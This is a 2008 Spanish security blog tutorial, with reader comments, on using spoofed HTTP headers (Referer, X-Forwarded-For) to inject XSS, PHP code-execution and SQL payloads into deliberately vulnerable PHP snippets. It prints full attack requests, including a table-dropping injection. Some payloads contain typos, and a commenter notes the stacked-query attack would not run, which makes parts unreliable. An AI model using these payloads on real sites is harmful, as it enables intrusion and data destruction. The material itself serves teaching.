viernes, 5 de septiembre de 2008

HTTP Headers II : Inyectando código

Por Vengador de las Sombras (FOS TEAM)



Saludos!

Sigo aquí con mi pequeña aportación sobre la utilización de los HTTP headers como vector de ataque, aportación pedida por Seth y por Em3trix y transformada en un pequeño paper. En esta ocasión quiero destacar la ayuda de Sknight , quien me ha estado pasando documentación sobre el tema en inglés, a fin de completar el paper con información referente y muy interesante (mucho más que cualqueir cosa que yo os pueda decir XD).


Bueno... en esta ocasión como el propio nombre lo indica, vamos a centrarnos en lo que viene siendo la inyección de código malicioso (ya sean sentecias SQL, PHP, JavaScript, etc.) dentro de las cabeceras para explotar algún servicio de la web. Como herramientas, vamos a usar las de siempre, el add on de firefox Live HTTP Headers para el sniffeo de las cabeceras HTTP y para modificarlas. Pueden usar otros, como Achilles, Tamper Data, etc... O si son más clásicos, pueden usar Netcat o Putty... para gusto los colores.


Cuando se suele hablar de "ataques a través de cabeceras" mucha gente se pierde, puesto que no sabe cómo explotar estas vulnerabilidades... Existen formas de que un usuario mande una cabecera modificada sin querer... esto lo veremos (si al final me animo) en el tercer paper (no es seguroq eu lo haga XD). En vez de eso, lo que os voy a proponer son aplicaciones web que utilizan las cabeceras y que no filtran bien las variables... luego podemos alterar el funcionamiento de dichas aplicaciones.

El primer y más sencillo caso con el que nos vamos a encontrar es un XSS. Para este ejemplo vamos a imaginarnos una aplicación PHP cuyo cometido es guardar los links que linkean a nuestra web. Existen varias formas de medir esto, una de ellas es guardando los referer que llegan a tu sitio al clickar sobre el link.


<?php
$ref_lista = fopen("links.html",a);
fwrite($ref_lista,'<a href=".$_SERVER['HTTP_REFERER'].'">'.$_SERVER['HTTP_REFERER'].'</a>');
fclose($ref_lista);
?>


Es un ejemplo tosco, pero imaginémonos que ahi se guardan y despues desde la web se hace un iframe al resultado, aplicandole unas hojas CSS para darle estilo y que se integre bien con el theme de nuestra web.

Si nosotros, llamémosnos "usuarios malintencionados", observamos dicho mecanismo por alguna clase de auditoría que estamos haciendo a la web, podríamos tirar de Live HTTP headers para spoofear la variable Referer: y agregarle un http://unaweb.index.php" onmouseover=alert(/FoS TeaM/); target="_blank. Ojo y esto es importante para poder inyectar en nuestro ejemplo el código malicioso debemos de dejar una comilla abierta, para ello le agrego el atributo target. En vez de usar onmouseover, podeis usar otras formas distintas... es sólo un PoC para demostrar cómo funcionaría, ya que por ejemplo si mandasemos una cabecera con un código más sencillo tipo:



GET /index.php HTTP/1.1
Host: Vulnerable.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://suckeame.com"><script>...</script>



Optendriamos un un resultado más satisfactorio, puesto que se ejecutaria automaticamente y no cuando pongamos únicamente el ratón encima del link.
Esta misma técnica es extrapolable a otro tipo de aplicaciones que no filtren bien, y que usen otros campos de las cabeceras, como por ejemplo User-Agent... He querido mostrar este ejemplo porque se trata de un XSS de Tipo-2 (persistente) que ejemplifica muy bien la utilización de las cabeceras como vector para explotar un XSS.


Si en vez de agregar a nuestra web el archivo links.html por iframes, lo hiciesemos por una sentencia include(), el bug se agrabaría y mucho, ya que de la misma forma tendríamos una PHP injection... lo que conllevaría que al explotarlo, pudiesemos tener una shell. Como PoC dejo esta cabecera:




GET /index.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <php ob_clean; system("uname -a"); ?>




A parte de PHP injections y de explotar XSS, también se pueden usar las cabeceras para explotar SQL injections, como primer caso voy a tomar un ejemplo de un paper[1] que me ha pasado Sknight que habla sobre el protocolo HTTP, cuyo autor es Trew (al final de este paper dejo un link hacia él). El ejemplo es de un script en PHP encargado de mirar las IPs usando para ello la cabecera X_FORWARDED_FOR, y haciendo una consulta a la DB comprueba si dicha IP se encuentra en la tabla de baneados... aquí os lo dejo:


$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$consulta = mysql_query( "SELECT * FROM baneados where ip=$ip" , $conexion);



En ese código vulnerable, podemos spoofear la cabecera y añadirle una SQL injection con el código foo'; DROP TALE baneados;--, provocando que se borre la tabla "baneados".

Igual que en ese ejemplo, podemos encontrar otros tipos de sentencias y como explotarlas... para ello dejo una referencia al final de este paper.


Bueno... al final me ha sido breve el paper... quiero decirles que probablemente haga en conjunto con otra persona un paper extenso que hable de todo sobre los Headers...

Ya saben, cualquier error, sugerencia o duda publiquenla.



REFERENCIAS
[1]HTTP a fondo
[2]SQL Injection CheatSheet
5 0verl0ad Labs: HTTP Headers II : Inyectando código Por Vengador de las Sombras (FOS TEAM) Saludos! Sigo aquí con mi pequeña aportación sobre la utilización de los HTTP headers como vecto...

3 comentarios:

>> s E t H << dijo...

lindo paper, gracias

[p3ll3] dijo...

Esta bien interesante el articulo y el blog en general , si te interesa intercambiar links estamos en contacto.

nike dijo...

hola man q tal, sabes en el codigo q pusistes:

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$consulta = mysql_query( "SELECT * FROM baneados where ip=$ip" , $conexion);

=

$consulta = mysql_query( "SELECT * FROM baneados where ip=foo'; DROP TABLE baneados;--" , $conexion);

la consulta no se ejecutara , ya q la funcion mysql_query() acepta solo una consulta como minimo, asi q no resultara tal inyecion para poder borrar la tabla.

Salu2 ¡¡¡

< >